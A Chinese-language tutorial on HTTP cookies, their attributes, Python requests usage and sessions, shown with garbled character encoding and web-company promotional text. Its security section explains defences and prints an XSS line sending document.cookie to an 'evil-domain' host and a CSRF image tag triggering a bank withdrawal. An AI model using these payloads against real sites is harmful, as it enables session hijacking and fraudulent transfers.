這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)Python的Cookie知識(shí)點(diǎn)有哪些呢,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
我們提供的服務(wù)有:成都網(wǎng)站設(shè)計(jì)、網(wǎng)站制作、外貿(mào)營(yíng)銷網(wǎng)站建設(shè)、微信公眾號(hào)開(kāi)發(fā)、網(wǎng)站優(yōu)化、網(wǎng)站認(rèn)證、呼圖壁ssl等。為1000+企事業(yè)單位解決了網(wǎng)站和推廣的問(wèn)題。提供周到的售前咨詢和貼心的售后服務(wù),是有科學(xué)管理、有技術(shù)的呼圖壁網(wǎng)站制作公司
相信很多同學(xué)肯定聽(tīng)過(guò)Cookie這個(gè)東西,也大概了解其作用,但是其原理以及如何設(shè)置,可能沒(méi)有做過(guò)web的同學(xué)并不是非常清楚,以前的Python學(xué)習(xí)教程中其實(shí)有跟大家提到過(guò),那今天就帶大家詳細(xì)了解下Cookie相關(guān)的知識(shí)!
爬蟲(chóng)系列教程的第一篇:HTTP詳解中我們便說(shuō)過(guò)HTTP的五大特點(diǎn),而其中之一便是:無(wú)狀態(tài)
HTTP無(wú)狀態(tài):服務(wù)器無(wú)法知道兩個(gè)請(qǐng)求是否來(lái)自同一個(gè)瀏覽器,即服務(wù)器不知道用戶上一次做了什么,每次請(qǐng)求都是完全相互獨(dú)立。
早期互聯(lián)網(wǎng)只是用于簡(jiǎn)單的瀏覽文檔信息、查看黃頁(yè)、門(mén)戶網(wǎng)站等等,并沒(méi)有交互這個(gè)說(shuō)法。但是隨著互聯(lián)網(wǎng)慢慢發(fā)展,寬帶、服務(wù)器等硬件設(shè)施已經(jīng)得到很大的提升,互聯(lián)網(wǎng)允許人們可以做更多的事情,所以交互式Web慢慢興起,而HTTP無(wú)狀態(tài)的特點(diǎn)卻嚴(yán)重阻礙其發(fā)展!
交互式Web:客戶端與服務(wù)器可以互動(dòng),如用戶登錄,購(gòu)買商品,各種論壇等等
不能記錄用戶上一次做了什么,怎么辦?聰明的程序員們就開(kāi)始思考:怎么樣才能記錄用戶上一次的操作信息呢?于是有人就想到了隱藏域。
隱藏域?qū)懛ǎ?lt;input type="hidden" name="field_name" value="value">
這樣把用戶上一次操作記錄放在form表單的input中,這樣請(qǐng)求時(shí)將表單提交不就知道上一次用戶的操作,但是這樣每次都得創(chuàng)建隱藏域而且得賦值太麻煩,而且容易出錯(cuò)!
ps:隱藏域作用強(qiáng)大,時(shí)至今日都有很多人在用它解決各種問(wèn)題!
網(wǎng)景公司當(dāng)時(shí)一名員工Lou Montulli(盧-蒙特利),在1994年將“cookies”的概念應(yīng)用于網(wǎng)絡(luò)通信,用來(lái)解決用戶網(wǎng)上購(gòu)物的購(gòu)物車歷史記錄,而當(dāng)時(shí)最強(qiáng)大的瀏覽器正是網(wǎng)景瀏覽器,在網(wǎng)景瀏覽器的支持下其他瀏覽器也漸漸開(kāi)始支持Cookie,到目前所有瀏覽器都支持Cookie了
前面我們已經(jīng)知道了Cookie的誕生是為了解決HTTP無(wú)狀態(tài)的特性無(wú)法滿足交互式web,那它究竟是什么呢?
上圖是在Chrome瀏覽器中的百度首頁(yè)的Cookies(Cookie的復(fù)數(shù)形式),在表格中,每一行都代表著一個(gè)Cookie,所以我們來(lái)看看Cookie的定義吧!
Cookie是由服務(wù)器發(fā)給客戶端的特殊信息,而這些信息以文本文件的方式存放在客戶端,然后客戶端每次向服務(wù)器發(fā)送請(qǐng)求的時(shí)候都會(huì)帶上這些特殊的信息,用于服務(wù)器記錄客戶端的狀態(tài)。
Cookie主要用于以下三個(gè)方面:
會(huì)話狀態(tài)管理(如用戶登錄狀態(tài)、購(gòu)物車、游戲分?jǐn)?shù)或其它需要記錄的信息)
個(gè)性化設(shè)置(如用戶自定義設(shè)置、主題等)
瀏覽器行為跟蹤(如跟蹤分析用戶行為等)
我們?cè)诹私饬薈ookie是由服務(wù)器發(fā)出存儲(chǔ)在瀏覽器的特殊信息,那具體是怎么樣的一個(gè)過(guò)程呢?為了大家便于理解,豬哥就以用戶登錄為例子為大家畫(huà)了一幅Cookie原理圖
用戶在輸入用戶名和密碼之后,瀏覽器將用戶名和密碼發(fā)送給服務(wù)器,服務(wù)器進(jìn)行驗(yàn)證,驗(yàn)證通過(guò)之后將用戶信息加密后封裝成Cookie放在請(qǐng)求頭中返回給瀏覽器。
HTTP/1.1 200 OK Content-type: text/html Set-Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Aug 2019 21:47:38 GMT; Path=/; Domain=.169it.com; HttpOnly [響應(yīng)體]
瀏覽器收到服務(wù)器返回?cái)?shù)據(jù),發(fā)現(xiàn)請(qǐng)求頭中有一個(gè):Set-Cookie,然后它就把這個(gè)Cookie保存起來(lái),下次瀏覽器再請(qǐng)求服務(wù)器的時(shí)候,會(huì)把Cookie也放在請(qǐng)求頭中傳給服務(wù)器:
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg
服務(wù)器收到請(qǐng)求后從請(qǐng)求頭中拿到cookie,然后解析并到用戶信息,說(shuō)明此用戶已登錄,Cookie是將數(shù)據(jù)保存在客戶端的。
這里我們可以看到,用戶信息是保存在Cookie中,也就相當(dāng)于是保存在瀏覽器中,那就說(shuō)用戶可以隨意修改用戶信息,這是一種不安全的策略!
強(qiáng)調(diào)一點(diǎn):Cookie無(wú)論是服務(wù)器發(fā)給瀏覽器還是瀏覽器發(fā)給服務(wù)器,都是放在請(qǐng)求頭中的!
四、Cookie屬性
下圖中我們可以看到一個(gè)Cookie有:Name、Value、Domain、Path、Expires/Max-Age、Size、HTTP、Secure這些屬性,那這些屬性分別都有什么作用呢?我們來(lái)看看
1. Name&Value
Name表示Cookie的名稱,服務(wù)器就是通過(guò)name屬性來(lái)獲取某個(gè)Cookie值。
Value表示Cookie 的值,大多數(shù)情況下服務(wù)器會(huì)把這個(gè)value當(dāng)作一個(gè)key去緩存中查詢保存的數(shù)據(jù)。
2.Domain&Path
Domain表示可以訪問(wèn)此cookie的域名,下圖我們以百度貼吧頁(yè)的Cookie來(lái)講解一下Domain屬性。
從上圖中我們可以看出domain有:.baidu.com 頂級(jí)域名和.teiba.baidu.com的二級(jí)域名,所以這里就會(huì)有一個(gè)訪問(wèn)規(guī)則:頂級(jí)域名只能設(shè)置或訪問(wèn)頂級(jí)域名的Cookie,二級(jí)及以下的域名只能訪問(wèn)或設(shè)置自身或者頂級(jí)域名的Cookie,所以如果要在多個(gè)二級(jí)域名共享Cookie的話,只能將Domain屬性設(shè)置為頂級(jí)域名!
Path表示可以訪問(wèn)此cookie的頁(yè)面路徑。比如path=/test,那么只有/test路徑下的頁(yè)面可以讀取此cookie。
3.Expires/Max-Age
Expires/Max-Age表示此cookie超時(shí)時(shí)間。若設(shè)置其值為一個(gè)時(shí)間,那么當(dāng)?shù)竭_(dá)此時(shí)間后,此cookie失效。不設(shè)置的話默認(rèn)值是Session,意思是cookie會(huì)和session一起失效。當(dāng)瀏覽器關(guān)閉(不是瀏覽器標(biāo)簽頁(yè),而是整個(gè)瀏覽器) 后,此cookie失效。
提示:當(dāng)Cookie的過(guò)期時(shí)間被設(shè)定時(shí),設(shè)定的日期和時(shí)間只與客戶端相關(guān),而不是服務(wù)端。
4.Size
Size表示Cookie的name+value的字符數(shù),比如有一個(gè)Cookie:id=666,那么Size=2+3=5 。
另外每個(gè)瀏覽器對(duì)Cookie的支持都不相同
5.HTTP
HTTP表示cookie的httponly屬性。若此屬性為true,則只有在http請(qǐng)求頭中會(huì)帶有此cookie的信息,而不能通過(guò)document.cookie來(lái)訪問(wèn)此cookie。
設(shè)計(jì)該特征意在提供一個(gè)安全措施來(lái)幫助阻止通過(guò)Javascript發(fā)起的跨站腳本攻擊(XSS)竊取cookie的行為
6.Secure
Secure表示是否只能通過(guò)https來(lái)傳遞此條cookie。不像其它選項(xiàng),該選項(xiàng)只是一個(gè)標(biāo)記并且沒(méi)有其它的值。
這種cookie的內(nèi)容意指具有很高的價(jià)值并且可能潛在的被破解以純文本形式傳輸。
1.生成Cookie
前面我們說(shuō)過(guò)Cookie是由服務(wù)端生成的,那如何用Python代碼來(lái)生成呢?
從上圖登錄代碼中我們看到,在簡(jiǎn)單的驗(yàn)證用戶名和密碼之后,服務(wù)器跳轉(zhuǎn)到/user,然后set了一個(gè)cookie,瀏覽器收到響應(yīng)后發(fā)現(xiàn)請(qǐng)求頭中有一個(gè):Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg,然后瀏覽器就會(huì)將這個(gè)Cookie保存起來(lái)!
2.獲取Cookie
最近我們一直在講requests模塊,這里我們就用requests模塊來(lái)獲取Cookie。
r.cookies表示獲取所有cookie,get_dict()函數(shù)表示返回的是字典格式cookie。
3.設(shè)置Cookie
上篇我們爬取優(yōu)酷彈幕的文章中便是用了requests模塊設(shè)置Cookie
我們就瀏覽器復(fù)制過(guò)來(lái)的Cookie放在代碼中,這樣便可以順利的偽裝成瀏覽器,然后正常爬取數(shù)據(jù),復(fù)制Cookie是爬蟲(chóng)中常用的一種手段!
1.誕生背景
其實(shí)在Cookie設(shè)計(jì)之初,并不像豬哥講的那樣Cookie只保存一個(gè)key,而是直接保存用戶信息,剛開(kāi)始大家認(rèn)為這樣用起來(lái)很爽,但是由于cookie 是存在用戶端,而且它本身存儲(chǔ)的尺寸大小也有限,最關(guān)鍵是用戶可以是可見(jiàn)的,并可以隨意的修改,很不安全。那如何又要安全,又可以方便的全局讀取信息呢?于是,這個(gè)時(shí)候,一種新的存儲(chǔ)會(huì)話機(jī)制:Session 誕生了。
2.Session是什么
Session翻譯為會(huì)話,服務(wù)器為每個(gè)瀏覽器創(chuàng)建的一個(gè)會(huì)話對(duì)象,瀏覽器在第一次請(qǐng)求服務(wù)器,服務(wù)器便會(huì)為這個(gè)瀏覽器生成一個(gè)Session對(duì)象,保存在服務(wù)端,并且把Session的Id以cookie的形式發(fā)送給客戶端瀏覽,而以用戶顯式結(jié)束或session超時(shí)為結(jié)束。
我們來(lái)看看Session工作原理:
當(dāng)一個(gè)用戶向服務(wù)器發(fā)送第一個(gè)請(qǐng)求時(shí),服務(wù)器為其建立一個(gè)session,并為此session創(chuàng)建一個(gè)標(biāo)識(shí)號(hào)(sessionID)。
這個(gè)用戶隨后的所有請(qǐng)求都應(yīng)包括這個(gè)標(biāo)識(shí)號(hào)(sessionID)。服務(wù)器會(huì)校對(duì)這個(gè)標(biāo)識(shí)號(hào)以判斷請(qǐng)求屬于哪個(gè)session。
對(duì)于session標(biāo)識(shí)號(hào)(sessionID),有兩種方式實(shí)現(xiàn):Cookie和URL重寫(xiě),豬哥就以Cookie的實(shí)現(xiàn)方式畫(huà)一個(gè)Session原理圖
聯(lián)系cookie原理圖我們可以看到,Cookie是將數(shù)據(jù)直接保存在客戶端,而Session是將數(shù)據(jù)保存在服務(wù)端,就安全性來(lái)講Session更好!
3.Python操作Session
后面豬哥將會(huì)以登錄的例子來(lái)講解如何用Python代碼操作Session
1.Cookie和Session關(guān)系
都是為了實(shí)現(xiàn)客戶端與服務(wù)端交互而產(chǎn)出
Cookie是保存在客戶端,缺點(diǎn)易偽造、不安全
Session是保存在服務(wù)端,會(huì)消耗服務(wù)器資源
Session實(shí)現(xiàn)有兩種方式:Cookie和URL重寫(xiě)
2.Cookie帶來(lái)的安全性問(wèn)題
會(huì)話劫持和XSS:在Web應(yīng)用中,Cookie常用來(lái)標(biāo)記用戶或授權(quán)會(huì)話。因此,如果Web應(yīng)用的Cookie被竊取,可能導(dǎo)致授權(quán)用戶的會(huì)話受到攻擊。常用的竊取Cookie的方法有利用社會(huì)工程學(xué)攻擊和利用應(yīng)用程序漏洞進(jìn)行XSS攻擊。(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;HttpOnly類型的Cookie由于阻止了JavaScript對(duì)其的訪問(wèn)性而能在一定程度上緩解此類攻擊。
跨站請(qǐng)求偽造(CSRF):維基百科已經(jīng)給了一個(gè)比較好的CSRF例子。比如在不安全聊天室或論壇上的一張圖片,它實(shí)際上是一個(gè)給你銀行服務(wù)器發(fā)送提現(xiàn)的請(qǐng)求:<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">當(dāng)你打開(kāi)含有了這張圖片的HTML頁(yè)面時(shí),如果你之前已經(jīng)登錄了你的銀行帳號(hào)并且Cookie仍然有效(還沒(méi)有其它驗(yàn)證步驟),你銀行里的錢很可能會(huì)被自動(dòng)轉(zhuǎn)走。解決CSRF的辦法有:隱藏域驗(yàn)證碼、確認(rèn)機(jī)制、較短的Cookie生命周期等
今天為大家講解了Cookie的相關(guān)知識(shí),以及如何使用requests模塊操作Cookie,最后順便提了一下Cookie與Session的關(guān)系以及Cookie存在哪些安全問(wèn)題。
上述就是小編為大家分享的Python的Cookie知識(shí)點(diǎn)有哪些呢了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。
當(dāng)前標(biāo)題:Python的Cookie知識(shí)點(diǎn)有哪些呢
網(wǎng)址分享:http://jinyejixie.com/article8/posjip.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供動(dòng)態(tài)網(wǎng)站、網(wǎng)站制作、品牌網(wǎng)站建設(shè)、做網(wǎng)站、網(wǎng)站設(shè)計(jì)公司、品牌網(wǎng)站設(shè)計(jì)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)